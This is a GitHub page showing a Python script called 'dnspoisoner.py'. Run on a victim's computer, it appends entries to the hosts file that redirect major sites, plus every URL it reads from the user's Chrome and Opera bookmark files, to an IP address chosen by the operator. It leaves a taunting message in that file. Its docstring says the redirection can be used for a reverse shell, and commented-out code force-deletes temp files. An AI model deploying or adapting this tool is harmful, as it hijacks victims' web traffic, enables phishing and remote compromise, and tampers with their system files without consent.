-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdnspoisoner.py
145 lines (114 loc) · 4.27 KB
/
dnspoisoner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
"""
A script that replaces the /etc/hosts file
of the current operating system and redirects
common websites adresses to the appointed IP adress.
DNS poisoning can be used to redirect target hosts sites
that can be then used for reverse shell.
NOTE: It is necessary to clear cache so that browsers
sessions are cleared.
"""
import os
import sys
import re
ascii_art = """\n\n\n
#==============================================|
# /\_/\ Looks like you found out that I'm |
#( o.o ) redirecting your sites hehe. |
# > ^ < |
#/ ~ \\ |
#==============================================|
\n\n\n
"""
ascii_art3 =f"""\n
/ \__ This tool blocks access from
( @\____ common websites and retrieve
/ O bookmarks from the target PC
/ (_____/ and blocks all websites from
/_____/ U those booksmarks. \n
"""
# Check the current OS, since every OS have different hosts
# file destination.
if os.name == 'nt':
dest = "c:\Windows\System32\Drivers\etc\hosts"
else:
dest = "/etc/hosts"
User = os.getenv('USERNAME')
# List of bookmarks directory from different browsers and OS.
# You can add other bookmarks here.
bookmarks_dir = [
f"C:/Users/{User}/AppData/Local/Google/Chrome/User Data/Default/Bookmarks",
f"C:/Users/{User}/AppData/Roaming/Opera Software/Opera GX Stable/Bookmarks",
f"C:/Users/{User}/AppData/Roaming/Opera Software/Opera Stable/Bookmarks",
]
# List of sites to block.
sites = ["youtube.com", "facebook.com", "messenger.com", "google.com"]
def getBooksmarksFile(bookmarks_dir) -> list:
with open(bookmarks_dir, 'r') as f:
file = f.read()
return file
def getUrl(file: str) -> list:
bookmarks = re.findall(r'"url":.*', file)
for i in range(len(bookmarks)):
bookmarks[i] = bookmarks[i].removeprefix('"url": ').strip('"')
return bookmarks
def flushDNS() -> None:
print(f"[*]INFO{BB}: Flushing DNS...")
os.system("ipconfig/flushdns")
print(f"[*]INFO: DNS successfully flushed.")
def clearTemp() -> None:
print(f"[*]INFO: Deleting TEMP files...")
files_num = len(os.listdir())
os.system("del /q /f %temp%\\")
deleted_files = files_num - len(os.listdir())
print(f"[*]INFO: Deleted {deleted_files} TEMP files.")
def changeHosts(sites: list, ip_address: str) -> None:
print(f"[*]INFO: Changing hosts file...")
print(f"[*]INFO: Blocking sites...")
with open(dest, 'a') as f:
f.write(ascii_art)
with open(dest, 'a') as f:
f.write("# You can delete the redirected sites now lol \(o _ o)/\n\n")
for site in sites:
with open(dest, 'a') as f:
f.write(f"{ip_address} {site}\n")
print(f"[*]INFO: www.{site} blocked.")
print(f"[*]INFO: All sites have been blocked.")
def main():
print("=" * 100)
print(ascii_art3)
print("=" * 100)
print('\n\n')
ip_address = input("[*]INFO: Enter the IP address you want to redirect (default 0.0.0.0): ")
if ip_address == "":
ip_address = '0.0.0.0'
print(f"[*]INFO: No IP address provided using 0.0.0.0.")
user_input = input(f"[*]INFO: Do you also want to include sites from the bookmarks? ")
if user_input.lower() in ['y', 'yes']:
print(f"[*]INFO: Finding bookmarks...")
for bookmarks in bookmarks_dir:
Booksmarks = []
try:
Booksmarks = getUrl(getBooksmarksFile(bookmarks))
except FileNotFoundError:
print(f"[*]WARNING: No bookmarks for {bookmarks}, continuing...")
Booksmarksnum = len(Booksmarks)
print(f"[*]INFO: Found {Booksmarksnum}.")
print(f"[*]INFO: Adding the found bookmarks to the list to block...")
sites.extend(Booksmarks)
else:
print(f"[*]INFO: Not including bookmarks.")
try:
#flushDNS()
#clearTemp()
pass
except:
print(f"[*]INFO: Cannot flush caches.")
print(f"[*]INFO: Continuing...")
try:
changeHosts(sites, ip_address)
except PermissionError:
print(f"[*]INFO: You must run the script as admin.")
input()
print(f"[*]INFO: Exiting...")
if __name__ == "__main__":
main()